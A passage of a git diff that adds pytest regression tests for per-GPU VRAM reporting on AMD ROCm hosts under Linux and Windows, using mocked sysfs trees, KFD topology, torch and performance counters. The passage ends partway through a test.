+per-GPU system-wide overlay the multi-device endpoint now applies, matched by
+physical device identity.
+"""
+
+from __future__ import annotations
+
+import importlib
+import sys
+import types
+from pathlib import Path
+
+_BACKEND_DIR = Path(__file__).resolve().parent.parent
+if str(_BACKEND_DIR) not in sys.path:
+    sys.path.insert(0, str(_BACKEND_DIR))
+
+
+def _maybe_stub(name: str, builder):
+    # Stub only if the real module is missing, so we never shadow it for later tests.
+    try:
+        importlib.import_module(name)
+    except ImportError:
+        sys.modules[name] = builder()
+
+
+def _build_loggers_stub():
+    m = types.ModuleType("loggers")
+    m.get_logger = lambda name: __import__("logging").getLogger(name)
+    return m
+
+
+def _build_structlog_stub():
+    m = types.ModuleType("structlog")
+    m.get_logger = lambda *a, **k: __import__("logging").getLogger("stub")
+    return m
+
+
+_maybe_stub("loggers", _build_loggers_stub)
+_maybe_stub("structlog", _build_structlog_stub)
+
+import utils.hardware.hardware as hw  # noqa: E402
+
+
+def _device(
+    index,
+    used,
+    total,
+    *,
+    ordinal = None,
+):
+    return {
+        "index": index,
+        "index_kind": "physical",
+        "visible_ordinal": index if ordinal is None else ordinal,
+        "gpu_utilization_pct": None,
+        "temperature_c": None,
+        "vram_used_gb": used,
+        "vram_total_gb": total,
+        "vram_utilization_pct": round((used / total) * 100, 1) if total > 0 else None,
+        "power_draw_w": None,
+        "power_limit_w": None,
+        "power_utilization_pct": None,
+    }
+
+
+# ── Linux per-card sysfs ──
+
+
+def _fake_drm(tmp_path, monkeypatch, cards):
+    """Fake /sys/class/drm tree; glob returns cards REVERSED so the PCI sort must order them.
+
+    ``cards``: (card_no, pci_bdf, driver, vram) tuples; vram is (used_gb, total_gb)
+    or None for a device with no mem_info_vram_* files.
+    """
+    drivers = tmp_path / "drivers"
+    card_paths = []
+    for card_no, bdf, driver, vram in cards:
+        pci_dir = tmp_path / "pci" / bdf
+        pci_dir.mkdir(parents = True, exist_ok = True)
+        drv_dir = drivers / driver
+        drv_dir.mkdir(parents = True, exist_ok = True)
+        (pci_dir / "driver").symlink_to(drv_dir)
+        if vram is not None:
+            used, total = vram
+            (pci_dir / "mem_info_vram_used").write_text(str(int(used * 1024**3)))
+            (pci_dir / "mem_info_vram_total").write_text(str(int(total * 1024**3)))
+        card_dir = tmp_path / "drm" / f"card{card_no}"
+        card_dir.mkdir(parents = True, exist_ok = True)
+        (card_dir / "device").symlink_to(pci_dir)
+        card_paths.append(str(card_dir))
+    monkeypatch.setattr(hw.glob, "glob", lambda pattern: list(reversed(card_paths)))
+    return card_paths
+
+
+def test_linux_vram_keyed_by_pci_excludes_foreign_adapters(monkeypatch, tmp_path):
+    # Foreign (non-amdgpu) adapters contribute no entry, so they cannot shift ordinals.
+    monkeypatch.setattr(hw.platform, "system", lambda: "Linux")
+    _fake_drm(
+        tmp_path,
+        monkeypatch,
+        [
+            (0, "0000:00:02.0", "i915", (0.5, 2.0)),  # foreign adapter: excluded
+            (1, "0000:03:00.0", "amdgpu", (40, 48)),  # AMD device 0
+            (2, "0000:41:00.0", "amdgpu", (1, 8)),  # AMD device 1
+        ],
+    )
+    assert hw._rocm_linux_sysfs_vram_by_pci_gb() == {
+        "0000:03:00.0": (40.0, 48.0),
+        "0000:41:00.0": (1.0, 8.0),
+    }
+
+
+def test_linux_vram_omits_bad_cards_without_shifting(monkeypatch, tmp_path):
+    # A zero-total card has no entry; identity keying means its absence renumbers nothing.
+    monkeypatch.setattr(hw.platform, "system", lambda: "Linux")
+    _fake_drm(
+        tmp_path,
+        monkeypatch,
+        [
+            (0, "0000:03:00.0", "amdgpu", (0, 0)),  # zero total -> no entry
+            (1, "0000:41:00.0", "amdgpu", (2, 16)),
+        ],
+    )
+    assert hw._rocm_linux_sysfs_vram_by_pci_gb() == {"0000:41:00.0": (2.0, 16.0)}
+
+
+def test_linux_vram_omits_amd_card_without_vram_files(monkeypatch, tmp_path):
+    # An APU with no mem_info_vram_* files has no entry; the discrete card keeps its address.
+    monkeypatch.setattr(hw.platform, "system", lambda: "Linux")
+    _fake_drm(
+        tmp_path,
+        monkeypatch,
+        [
+            (0, "0000:03:00.0", "amdgpu", None),  # APU: no VRAM sysfs files
+            (1, "0000:41:00.0", "amdgpu", (2, 16)),
+        ],
+    )
+    assert hw._rocm_linux_sysfs_vram_by_pci_gb() == {"0000:41:00.0": (2.0, 16.0)}
+
+
+# ── KFD topology: the authoritative ROCm device order ──
+
+
+_AMD = 4098  # 0x1002
+_NVIDIA = 4318  # 0x10DE -- the open kernel module also registers KFD nodes
+
+
+def _fake_kfd(tmp_path, monkeypatch, nodes):
+    """Fake KFD topology nodes tree, returned out of node order so the sort must order it.
+
+    ``nodes``: (node_id, simd_count, location_id, domain, vendor_id); simd_count 0
+    marks a CPU node, location_id None omits the property.
+    """
+    node_paths = []
+    for node_id, simd_count, location_id, domain, vendor_id in nodes:
+        d = tmp_path / "kfd" / str(node_id)
+        d.mkdir(parents = True, exist_ok = True)
+        lines = [f"cpu_cores_count {0 if simd_count else 8}", f"simd_count {simd_count}"]
+        if location_id is not None:
+            lines.append(f"location_id {location_id}")
+        lines.append(f"domain {domain}")
+        if vendor_id is not None:
+            lines.append(f"vendor_id {vendor_id}")
+        (d / "properties").write_text("\n".join(lines) + "\n")
+        node_paths.append(str(d))
+    monkeypatch.setattr(hw.glob, "glob", lambda pattern: list(reversed(node_paths)))
+    return node_paths
+
+
+def test_kfd_lists_gpu_nodes_in_device_order(monkeypatch, tmp_path):
+    # The CPU node (simd_count 0) takes no ordinal; GPU nodes in node-id order are HIP's order.
+    monkeypatch.setattr(hw.platform, "system", lambda: "Linux")
+    _fake_kfd(
+        tmp_path,
+        monkeypatch,
+        [
+            (0, 0, None, 0, None),  # CPU node
+            (1, 304, (0x03 << 8) | (0x00 << 3) | 0, 0, _AMD),  # 0000:03:00.0 -> dev 0
+            (2, 304, (0x41 << 8) | (0x00 << 3) | 0, 0, _AMD),  # 0000:41:00.0 -> dev 1
+        ],
+    )
+    assert hw._rocm_kfd_gpu_pci_ids() == ["0000:03:00.0", "0000:41:00.0"]
+
+
+def test_kfd_decodes_domain_device_and_function(monkeypatch, tmp_path):
+    monkeypatch.setattr(hw.platform, "system", lambda: "Linux")
+    _fake_kfd(tmp_path, monkeypatch, [(1, 64, (0xC1 << 8) | (0x1F << 3) | 5, 0x1234, _AMD)])
+    assert hw._rocm_kfd_gpu_pci_ids() == ["1234:c1:1f.5"]
+
+
+def test_kfd_skips_non_amd_gpu_nodes(monkeypatch, tmp_path):
+    # An NVIDIA KFD node is not a HIP device: it must take no ordinal, else it
+    # shifts every AMD GPU and ROCm device 1 resolves to AMD GPU 0.
+    monkeypatch.setattr(hw.platform, "system", lambda: "Linux")
+    _fake_kfd(
+        tmp_path,
+        monkeypatch,
+        [
+            (0, 0, None, 0, None),  # CPU
+            (1, 128, (0x01 << 8) | 0, 0, _NVIDIA),  # NVIDIA: no ordinal
+            (2, 304, (0x03 << 8) | 0, 0, _AMD),  # AMD device 0
+            (3, 304, (0x41 << 8) | 0, 0, _AMD),  # AMD device 1
+        ],
+    )
+    assert hw._rocm_kfd_gpu_pci_ids() == ["0000:03:00.0", "0000:41:00.0"]
+
+
+def test_kfd_fails_closed_when_a_gpu_has_no_location(monkeypatch, tmp_path):
+    # Dropping an unplaceable AMD GPU shifts later ordinals; fail closed for the whole map.
+    monkeypatch.setattr(hw.platform, "system", lambda: "Linux")
+    _fake_kfd(
+        tmp_path,
+        monkeypatch,
+        [
+            (1, 304, None, 0, _AMD),  # AMD GPU with no location_id
+            (2, 304, (0x41 << 8) | 0, 0, _AMD),
+        ],
+    )
+    assert hw._rocm_kfd_gpu_pci_ids() == []
+
+
+def test_kfd_fails_closed_when_a_node_is_unreadable(monkeypatch, tmp_path):
+    # An unreadable node could be a GPU; assuming otherwise would shift ordinals.
+    monkeypatch.setattr(hw.platform, "system", lambda: "Linux")
+    paths = _fake_kfd(
+        tmp_path,
+        monkeypatch,
+        [
+            (1, 304, (0x03 << 8) | 0, 0, _AMD),
+            (2, 304, (0x41 << 8) | 0, 0, _AMD),
+        ],
+    )
+    (Path(paths[0]) / "properties").unlink()
+    assert hw._rocm_kfd_gpu_pci_ids() == []
+
+
+def test_kfd_absent_yields_no_device_order(monkeypatch):
+    monkeypatch.setattr(hw.glob, "glob", lambda pattern: [])
+    assert hw._rocm_kfd_gpu_pci_ids() == []
+
+
+# ── overlay ──
+
+
+def _patch_pci_map(monkeypatch, bdfs):
+    """Declare the ROCm device order by PCI address (index N is device N) and clear
+    the visibility masks the overlay requires unset.
+    """
+    for var in (
+        "HIP_VISIBLE_DEVICES",
+        "ROCR_VISIBLE_DEVICES",
+        "CUDA_VISIBLE_DEVICES",
+        "GPU_DEVICE_ORDINAL",
+    ):
+        monkeypatch.delenv(var, raising = False)
+    monkeypatch.setattr(hw, "_rocm_kfd_gpu_pci_ids", lambda: list(bdfs))
+
+
+def _pci(n):
+    """A distinct, well-formed PCI address for card n."""
+    return f"0000:{n:02x}:00.0"
+
+
+def test_overlay_windows_is_noop_keeps_torch(monkeypatch):
+    # Windows is intentionally not overlaid (perf counters can't map to ROCm ordinals): keep torch.
+    monkeypatch.setattr(hw.platform, "system", lambda: "Windows")
+    monkeypatch.setattr(
+        hw,
+        "_rocm_linux_sysfs_vram_by_pci_gb",
+        lambda: (_ for _ in ()).throw(AssertionError("sysfs must not run on Windows")),
+    )
+    devices = [_device(0, used = 0.02, total = 8.0)]
+    _patch_pci_map(monkeypatch, [_pci(0)])
+    hw._overlay_system_wide_vram(devices)
+    assert devices[0]["vram_used_gb"] == 0.02  # untouched
+
+
+def test_overlay_linux_matches_by_device_ordinal(monkeypatch):
+    # Devices arriving as [index 1, index 0] each get their own GPU's figures by ordinal.
+    monkeypatch.setattr(hw.platform, "system", lambda: "Linux")
+    monkeypatch.setattr(
+        hw,
+        "_rocm_linux_sysfs_vram_by_pci_gb",
+        lambda: {_pci(0): (30.0, 45.0), _pci(1): (0.5, 8.0)},  # dev 0 big, dev 1 small
+    )
+    devices = [_device(1, used = 0.01, total = 8.0), _device(0, used = 0.02, total = 45.0)]
+    _patch_pci_map(monkeypatch, [_pci(0), _pci(1)])
+    hw._overlay_system_wide_vram(devices)
+    assert devices[0]["vram_used_gb"] == 0.5  # index 1 -> device 1 (small)
+    assert devices[0]["vram_total_gb"] == 8.0
+    assert devices[1]["vram_used_gb"] == 30.0  # index 0 -> device 0 (big)
+    assert devices[1]["vram_total_gb"] == 45.0
+
+
+def test_overlay_linux_ordinal_hole_does_not_shift(monkeypatch):
+    # Device 0's card dropped: index 0 keeps torch, index 1 still maps to ordinal 1 (no compaction).
+    monkeypatch.setattr(hw.platform, "system", lambda: "Linux")
+    monkeypatch.setattr(hw, "_rocm_linux_sysfs_vram_by_pci_gb", lambda: {_pci(1): (0.5, 8.0)})
+    devices = [_device(0, used = 0.02, total = 45.0), _device(1, used = 0.01, total = 8.0)]
+    _patch_pci_map(monkeypatch, [_pci(0), _pci(1)])
+    hw._overlay_system_wide_vram(devices)
+    assert devices[0]["vram_used_gb"] == 0.02  # no ordinal 0 -> torch kept
+    assert devices[1]["vram_used_gb"] == 0.5  # ordinal 1 -> device 1, not device 0
+
+
+def test_overlay_linux_skips_unified_memory_card(monkeypatch):
+    # Unified-memory APU: the smaller sysfs total must not shrink torch's GTT-backed pool.
+    monkeypatch.setattr(hw.platform, "system", lambda: "Linux")
+    monkeypatch.setattr(hw, "_rocm_linux_sysfs_vram_by_pci_gb", lambda: {_pci(0): (0.4, 1.0)})
+    devices = [_device(0, used = 12.0, total = 96.0)]  # torch's unified pool
+    _patch_pci_map(monkeypatch, [_pci(0)])
+    hw._overlay_system_wide_vram(devices)
+    assert devices[0]["vram_used_gb"] == 12.0
+    assert devices[0]["vram_total_gb"] == 96.0
+
+
+def test_overlay_linux_skips_partitioned_device(monkeypatch):
+    # Partitioned MI300: the whole-card sysfs total dwarfs the partition, so the overlay must not overwrite it.
+    monkeypatch.setattr(hw.platform, "system", lambda: "Linux")
+    monkeypatch.setattr(hw, "_rocm_linux_sysfs_vram_by_pci_gb", lambda: {_pci(0): (40.0, 192.0)})
+    devices = [_device(0, used = 1.0, total = 24.0)]  # torch partition
+    _patch_pci_map(monkeypatch, [_pci(0)])
+    hw._overlay_system_wide_vram(devices)
+    assert devices[0]["vram_used_gb"] == 1.0  # partition figures kept
+    assert devices[0]["vram_total_gb"] == 24.0
+
+
+def test_overlay_linux_out_of_range_index_untouched(monkeypatch):
+    # A masked host exposing physical index 5 with no card 5: keep torch data.
+    monkeypatch.setattr(hw.platform, "system", lambda: "Linux")
+    monkeypatch.setattr(
+        hw, "_rocm_linux_sysfs_vram_by_pci_gb", lambda: {_pci(0): (30.0, 45.0), _pci(1): (0.5, 8.0)}
+    )
+    devices = [_device(5, used = 0.02, total = 45.0)]
+    _patch_pci_map(monkeypatch, [_pci(0), _pci(1)])
+    hw._overlay_system_wide_vram(devices)
+    assert devices[0]["vram_used_gb"] == 0.02
+
+
+def test_overlay_ignores_adapters_rocm_cannot_enumerate(monkeypatch):
+    # A HIP-unenumerable amdgpu adapter has no KFD node, so device 0 resolves to
+    # the supported GPU's own address, never the display card's.
+    monkeypatch.setattr(hw.platform, "system", lambda: "Linux")
+    monkeypatch.setattr(
+        hw,
+        "_rocm_linux_sysfs_vram_by_pci_gb",
+        # Both in DRM sysfs with similar capacity -- what the total-size guard can't separate.
+        lambda: {_pci(9): (30.0, 45.0), _pci(3): (12.0, 45.0)},
+    )
+    _patch_pci_map(monkeypatch, [_pci(3)])  # KFD lists only the supported GPU
+    devices = [_device(0, used = 0.02, total = 45.0)]  # torch sees that one GPU
+    hw._overlay_system_wide_vram(devices)
+    assert devices[0]["vram_used_gb"] == 12.0  # the supported GPU's own figures
+
+
+def test_overlay_skips_masked_subsets(monkeypatch):
+    # Under a mask the index is not verifiably a host ordinal, so keep torch's figures.
+    monkeypatch.setattr(hw.platform, "system", lambda: "Linux")
+    _patch_pci_map(monkeypatch, [_pci(0), _pci(1), _pci(2), _pci(3)])
+    monkeypatch.setenv("HIP_VISIBLE_DEVICES", "1,3")
+    monkeypatch.setattr(
+        hw,
+        "_rocm_linux_sysfs_vram_by_pci_gb",
+        lambda: {_pci(1): (30.0, 48.0), _pci(3): (12.0, 48.0)},
+    )
+    devices = [_device(1, used = 0.02, total = 48.0), _device(3, used = 0.01, total = 48.0)]
+    hw._overlay_system_wide_vram(devices)
+    assert devices[0]["vram_used_gb"] == 0.02  # torch kept
+    assert devices[1]["vram_used_gb"] == 0.01
+
+
+def test_overlay_skips_device_cgroup_filtered_container(monkeypatch):
+    # A device-cgroup container sets no env var yet compacts torch's indices from
+    # zero while KFD/DRM list every GPU, so the count mismatch must disable the overlay.
+    monkeypatch.setattr(hw.platform, "system", lambda: "Linux")
+    _patch_pci_map(monkeypatch, [_pci(0), _pci(1), _pci(2), _pci(3)])  # host has 4
+    monkeypatch.setattr(
+        hw,
+        "_rocm_linux_sysfs_vram_by_pci_gb",
+        lambda: {_pci(0): (30.0, 48.0), _pci(2): (12.0, 48.0)},
+    )
+    devices = [_device(0, used = 0.02, total = 48.0)]  # container sees 1, as index 0
+    hw._overlay_system_wide_vram(devices)
+    assert devices[0]["vram_used_gb"] == 0.02  # torch kept, not host GPU 0's 30.0
+
+
+def test_overlay_skips_without_kfd_topology(monkeypatch):
+    # No KFD means no identity to join on; fall back to torch rather than guess.
+    monkeypatch.setattr(hw.platform, "system", lambda: "Linux")
+    monkeypatch.setattr(hw, "_rocm_kfd_gpu_pci_ids", lambda: [])
+    monkeypatch.setattr(
+        hw,
+        "_rocm_linux_sysfs_vram_by_pci_gb",
+        lambda: (_ for _ in ()).throw(AssertionError("must not read sysfs without KFD")),
+    )
+    devices = [_device(0, used = 0.02, total = 45.0)]
+    hw._overlay_system_wide_vram(devices)
+    assert devices[0]["vram_used_gb"] == 0.02
+
+
+def test_overlay_empty_devices_is_noop(monkeypatch):
+    monkeypatch.setattr(hw.platform, "system", lambda: "Linux")
+    hw._overlay_system_wide_vram([])  # must not raise
+
+
+# ── integration: the ROCm torch fallback applies the overlay ──
+
+
+def test_visible_utilization_rocm_fallback_overlays(monkeypatch):
+    for _var in (
+        "HIP_VISIBLE_DEVICES",
+        "ROCR_VISIBLE_DEVICES",
+        "CUDA_VISIBLE_DEVICES",
+        "GPU_DEVICE_ORDINAL",
+    ):
+        monkeypatch.delenv(_var, raising = False)
+    monkeypatch.setattr(hw, "IS_ROCM", True)
+    monkeypatch.setattr(hw, "get_device", lambda: hw.DeviceType.CUDA)
+    monkeypatch.setattr(hw, "_smi_query", lambda *a, **k: None)  # amd-smi unavailable
+    monkeypatch.setattr(
+        hw,
+        "_get_parent_visible_gpu_spec",
+        lambda: {"raw": None, "numeric_ids": [0, 1], "supports_explicit_gpu_ids": True},
+    )
+    monkeypatch.setattr(hw, "get_parent_visible_gpu_ids", lambda: [0, 1])
+    monkeypatch.setattr(
+        hw,
+        "_torch_get_per_device_info",
+        lambda ids: [
+            {"index": 0, "visible_ordinal": 0, "used_gb": 0.02, "total_gb": 45.0},
+            {"index": 1, "visible_ordinal": 1, "used_gb": 0.01, "total_gb": 8.0},
+        ],
+    )
+    overlaid = []
+    monkeypatch.setattr(
+        hw, "_overlay_system_wide_vram", lambda devices: overlaid.append(len(devices))
+    )
+    result = hw.get_visible_gpu_utilization()
+    assert result["available"] is True
+    assert overlaid == [2]
+
+
+def test_visible_utilization_relative_index_skips_overlay(monkeypatch):
+    # UUID/MIG mask gives relative indices; the overlay matches physical index, so it must not run.
+    monkeypatch.setattr(hw, "IS_ROCM", True)
+    monkeypatch.setattr(hw, "get_device", lambda: hw.DeviceType.CUDA)
+    monkeypatch.setattr(hw, "_smi_query", lambda *a, **k: None)
+    monkeypatch.setattr(
+        hw,
+        "_get_parent_visible_gpu_spec",
+        lambda: {"raw": "GPU-uuid-a", "numeric_ids": None, "supports_explicit_gpu_ids": False},
+    )
+    monkeypatch.setattr(hw, "get_parent_visible_gpu_ids", lambda: [])  # UUID mask
+    monkeypatch.setattr(hw, "_torch_get_physical_gpu_count", lambda: 1)
+    monkeypatch.setattr(
+        hw,
+        "_torch_get_per_device_info",
+        lambda ids: [{"index": 0, "visible_ordinal": 0, "used_gb": 0.02, "total_gb": 8.0}],
+    )
+    called = []
+    monkeypatch.setattr(hw, "_overlay_system_wide_vram", lambda devices: called.append(1))
+    result = hw.get_visible_gpu_utilization()
+    assert result["index_kind"] == "relative"
+    assert called == []
+
+
+def test_visible_utilization_nvidia_fallback_skips_overlay(monkeypatch):
+    monkeypatch.setattr(hw, "IS_ROCM", False)
+    monkeypatch.setattr(hw, "get_device", lambda: hw.DeviceType.CUDA)
+    monkeypatch.setattr(hw, "_smi_query", lambda *a, **k: None)
+    monkeypatch.setattr(
+        hw,
+        "_get_parent_visible_gpu_spec",
+        lambda: {"raw": None, "numeric_ids": [0], "supports_explicit_gpu_ids": True},
+    )
+    monkeypatch.setattr(hw, "get_parent_visible_gpu_ids", lambda: [0])
+    monkeypatch.setattr(
+        hw,
+        "_torch_get_per_device_info",
+        lambda ids: [{"index": 0, "visible_ordinal": 0, "used_gb": 1.0, "total_gb": 24.0}],
+    )
+    called = []
+    monkeypatch.setattr(hw, "_overlay_system_wide_vram", lambda devices: called.append(1))
+    result = hw.get_visible_gpu_utilization()
+    assert result["available"] is True
+    assert called == []
+
+
+def test_any_visibility_mask_is_detected(monkeypatch):
+    # Any of these makes the index not a host-physical ordinal, so each must disable the overlay.
+    for var in (
+        "HIP_VISIBLE_DEVICES",
+        "ROCR_VISIBLE_DEVICES",
+        "CUDA_VISIBLE_DEVICES",
+        "GPU_DEVICE_ORDINAL",
+    ):
+        monkeypatch.delenv(var, raising = False)
+    assert hw._rocm_visibility_mask_active() is False
+    for var in (
+        "HIP_VISIBLE_DEVICES",
+        "ROCR_VISIBLE_DEVICES",
+        "CUDA_VISIBLE_DEVICES",
+        "GPU_DEVICE_ORDINAL",
+    ):
+        monkeypatch.setenv(var, "1")
+        assert hw._rocm_visibility_mask_active() is True, var
+        monkeypatch.setenv(var, "  ")  # empty is not an active filter
+        assert hw._rocm_visibility_mask_active() is False, var
+        monkeypatch.delenv(var, raising = False)
+
+
+def test_overlay_skips_under_gpu_device_ordinal(monkeypatch):
+    # GPU_DEVICE_ORDINAL=1 surfaces GPU 1 as torch ordinal 0, so index 0 is not GPU 0; overlay must not run.
+    monkeypatch.setattr(hw.platform, "system", lambda: "Linux")
+    _patch_pci_map(monkeypatch, [_pci(0)])
+    monkeypatch.setenv("GPU_DEVICE_ORDINAL", "1")
+    monkeypatch.setattr(hw, "_rocm_linux_sysfs_vram_by_pci_gb", lambda: {_pci(0): (30.0, 45.0)})
+    devices = [_device(0, used = 0.02, total = 45.0)]
+    hw._overlay_system_wide_vram(devices)
+    assert devices[0]["vram_used_gb"] == 0.02
+
+
+def test_visible_utilization_delegates_gating_to_the_overlay(monkeypatch):
+    # The call site no longer pre-checks masks; the overlay gates itself, so a physical payload always reaches it.
+    monkeypatch.setenv("ROCR_VISIBLE_DEVICES", "2,3")
+    monkeypatch.setenv("HIP_VISIBLE_DEVICES", "1")
+    monkeypatch.setattr(hw, "IS_ROCM", True)
+    monkeypatch.setattr(hw, "get_device", lambda: hw.DeviceType.CUDA)
+    monkeypatch.setattr(hw, "_smi_query", lambda *a, **k: None)
+    monkeypatch.setattr(
+        hw,
+        "_get_parent_visible_gpu_spec",
+        lambda: {"raw": "1", "numeric_ids": [1], "supports_explicit_gpu_ids": True},
+    )
+    monkeypatch.setattr(hw, "get_parent_visible_gpu_ids", lambda: [1])
+    monkeypatch.setattr(
+        hw,
+        "_torch_get_per_device_info",
+        lambda ids: [{"index": 1, "visible_ordinal": 0, "used_gb": 0.02, "total_gb": 8.0}],
+    )
+    # Real overlay + gating: the layered mask must leave torch's figures.
+    monkeypatch.setattr(hw.platform, "system", lambda: "Linux")
+    monkeypatch.setattr(hw, "_rocm_kfd_gpu_pci_ids", lambda: [_pci(0), _pci(1)])
+    monkeypatch.setattr(hw, "_rocm_linux_sysfs_vram_by_pci_gb", lambda: {_pci(1): (30.0, 8.0)})
+    result = hw.get_visible_gpu_utilization()
+    assert result["index_kind"] == "physical"
+    assert result["devices"][0]["vram_used_gb"] == 0.02  # untouched
diff --git a/studio/backend/tests/test_rocm_oom_guard.py b/studio/backend/tests/test_rocm_oom_guard.py
index 6e70c7cde4..ad46f6ee41 100644
--- a/studio/backend/tests/test_rocm_oom_guard.py
+++ b/studio/backend/tests/test_rocm_oom_guard.py
@@ -36,7 +36,7 @@ class TestIsIntegratedSignal:
     """hipDeviceProp_t.integrated wins when truthy; 0/absent never downgrades.
 
     Same universal gate PR #5988's UMA safetensors fast-load uses -- keeps
-    Studio's two unified-memory consumers on one signal."""
+    Unsloth's two unified-memory consumers on one signal."""
 
     def test_integrated_upgrades_unknown_apu(self) -> None:
         # gfx1103 Phoenix iGPU: outside the hardcoded arch set, but the
@@ -163,6 +163,9 @@ class TestDeviceNameFallback:
             "AMD Radeon 8060S",
             "Radeon 8050S Graphics",  # cut-down Strix Halo SKU
             "AMD Radeon 8050S",
+            # gfx1151 Gorgon Halo (Ryzen AI Max 400 refresh)
+            "Radeon 8065S Graphics",  # Ryzen AI Max+ 495
+            "AMD Radeon 8065S",
             # case variants
             "RADEON 8060S GRAPHICS",
             "radeon 8050s",
diff --git a/studio/backend/tests/test_rocm_windows_vram_7072.py b/studio/backend/tests/test_rocm_windows_vram_7072.py
new file mode 100644
index 0000000000..b4079831b7
--- /dev/null
+++ b/studio/backend/tests/test_rocm_windows_vram_7072.py
@@ -0,0 +1,361 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Regression tests for issue #7072 -- "VRAM Usage in System Tab is wrong".
+
+Reporter: dual AMD (Radeon PRO W7900 ~48GB + W7500 8GB), Windows 10, ROCm 7.13,
+torch 2.11.0+rocm7.13. On Windows without a HIP SDK, amd-smi is permanently
+disabled (avoids a UAC/DiskPart prompt) and hipMemGetInfo returns free==total
+(used 0). Two symptoms followed:
+
+  * System tab (/api/system -> get_visible_gpu_utilization) showed ~0 VRAM used
+    on every GPU (torch mem_get_info free==total quirk; ROCm/ROCm#1909).
+  * get_gpu_utilization()'s Windows fallback SUMMED "GPU Adapter Memory\\Dedicated
+    Usage" across all adapters into ONE fake device with only GPU 0's total, so
+    the second GPU never appeared.
+
+The fix reads the per-adapter (LUID-instanced) Dedicated Usage performance
+counter -- Task Manager's source -- for per-GPU used, takes per-GPU total from
+torch device properties, and guards the free==total mem_get_info quirk. CI has no
+AMD GPU/Windows, so torch, the performance counter, and platform are all mocked.
+"""
+
+from __future__ import annotations
+
+import subprocess
+import sys
+import types
+
+import pytest
+
+from utils.hardware import hardware as hw
+
+GB = 1024**3
+MiB = 1024**2
+
+
+# ----------------------------------------------------------------------------- #
+# Fakes
+# ----------------------------------------------------------------------------- #
+def _fake_torch(
+    devices,
+    *,
+    free_equals_total = False,
+    used_per_device = None,
+):
+    """Build a fake `torch` module. devices: list of (name, total_bytes)."""
+    dev = list(devices)
+
+    class _Props:
+        def __init__(self, name, total):
+            self.name = name
+            self.total_memory = total
+
+    def get_device_properties(i):
+        name, total = dev[i]
+        return _Props(name, total)
+
+    def mem_get_info(i):
+        _, total = dev[i]
+        if free_equals_total:
+            return (total, total)
+        used = used_per_device[i] if used_per_device is not None else 0
+        return (total - used, total)
+
+    t = types.ModuleType("torch")
+    t.__version__ = "2.11.0+rocm7.13"
+    t.version = types.SimpleNamespace(hip = "7.13", cuda = None)
+    t.cuda = types.SimpleNamespace(
+        is_available = lambda: len(dev) > 0,
+        device_count = lambda: len(dev),
+        current_device = lambda: 0,
+        get_device_properties = get_device_properties,
+        mem_get_info = mem_get_info,
+        memory_allocated = lambda i: 0,
+        memory_reserved = lambda i: 0,
+    )
+    return t
+
+
+def _adapter_output(adapters):
+    if not adapters:
+        return "__NONE__\n"
+    return "".join(f"{name}|{int(used)}\n" for name, used in adapters)
+
+
+def _subprocess_run(*, adapter_output = "__NONE__\n", util_output = "12.0\n"):
+    def fake_run(cmd, *a, **k):
+        joined = " ".join(cmd) if isinstance(cmd, list) else str(cmd)
+        if "GPU Adapter Memory" in joined and "InstanceName" in joined:
+            out = adapter_output
+        elif "engtype_3D" in joined or "GPU Engine" in joined:
+            out = util_output
+        else:
+            out = "-1\n"
+        return subprocess.CompletedProcess(args = cmd, returncode = 0, stdout = out, stderr = "")
+
+    return fake_run
+
+
+@pytest.fixture
+def win_rocm(monkeypatch):
+    """Configure the hardware module as a Windows ROCm host with 2 visible GPUs."""
+    monkeypatch.setattr(hw, "get_device", lambda: hw.DeviceType.CUDA)
+    monkeypatch.setattr(hw, "IS_ROCM", True)
+    monkeypatch.setattr(hw.platform, "system", lambda: "Windows")
+    monkeypatch.setattr(hw.sys, "platform", "win32")
+    monkeypatch.setattr(hw, "_smi_query", lambda *a, **k: None)  # amd-smi disabled
+    # Visible set via HIP mask so we don't shell out to amd-smi for the count.
+    monkeypatch.setenv("HIP_VISIBLE_DEVICES", "0,1")
+    monkeypatch.delenv("CUDA_VISIBLE_DEVICES", raising = False)
+    monkeypatch.delenv("ROCR_VISIBLE_DEVICES", raising = False)
+    return monkeypatch
+
+
+REPORTER_ADAPTERS = [
+    ("luid_0x00000000_0x0000d1e2_phys_0", 40.0 * GB),  # W7900, model loaded
+    ("luid_0x00000000_0x0000e34a_phys_0", 0.5 * GB),  # W7500, idle
+    ("luid_0x00000000_0x0000f001_phys_0", 3 * MiB),  # Basic Render Driver
+]
+DEVICES = [("AMD Radeon PRO W7900", 48 * GB), ("AMD Radeon PRO W7500", 8 * GB)]
+
+
+# ----------------------------------------------------------------------------- #
+# System tab (get_visible_gpu_utilization) -- the reporter's screenshot
+# ----------------------------------------------------------------------------- #
+def test_system_tab_shows_per_gpu_used(win_rocm, monkeypatch):
+    monkeypatch.setitem(sys.modules, "torch", _fake_torch(DEVICES, free_equals_total = True))
+    monkeypatch.setattr(
+        hw.subprocess, "run", _subprocess_run(adapter_output = _adapter_output(REPORTER_ADAPTERS))
+    )
+
+    devices = hw.get_visible_gpu_utilization()["devices"]
+    by_idx = {d["index"]: d for d in devices}
+    assert len(devices) == 2
+    assert by_idx[0]["vram_total_gb"] == 48.0
+    assert by_idx[0]["vram_used_gb"] == pytest.approx(40.0, abs = 0.01)  # not 0
+    assert by_idx[1]["vram_total_gb"] == 8.0  # own total
+    # The 3 MiB Basic Render Driver counter makes this a hidden-adapter case: only
+    # the 40 GiB is forced onto the 48 GiB card; the idle card reads Unknown.
+    assert by_idx[1]["vram_used_gb"] is None
+    assert by_idx[1]["vram_utilization_pct"] is None
+    assert all(
+        d["vram_used_gb"] <= d["vram_total_gb"] for d in devices if d["vram_used_gb"] is not None
+    )
+
+
+def test_gpu_utilization_does_not_collapse(win_rocm, monkeypatch):
+    monkeypatch.setitem(sys.modules, "torch", _fake_torch(DEVICES, free_equals_total = True))
+    monkeypatch.setattr(
+        hw.subprocess, "run", _subprocess_run(adapter_output = _adapter_output(REPORTER_ADAPTERS))
+    )
+
+    result = hw.get_gpu_utilization()
+    devices = result["devices"]
+    assert sorted(d["index"] for d in devices) == [0, 1]  # both GPUs, no collapse
+    assert {d["vram_total_gb"] for d in devices} == {48.0, 8.0}
+    assert result["vram_total_gb"] == 48.0  # legacy primary mirror preserved
+
+
+def test_localized_counter_reports_unknown_not_zero(win_rocm, monkeypatch):
+    monkeypatch.setitem(sys.modules, "torch", _fake_torch(DEVICES, free_equals_total = True))
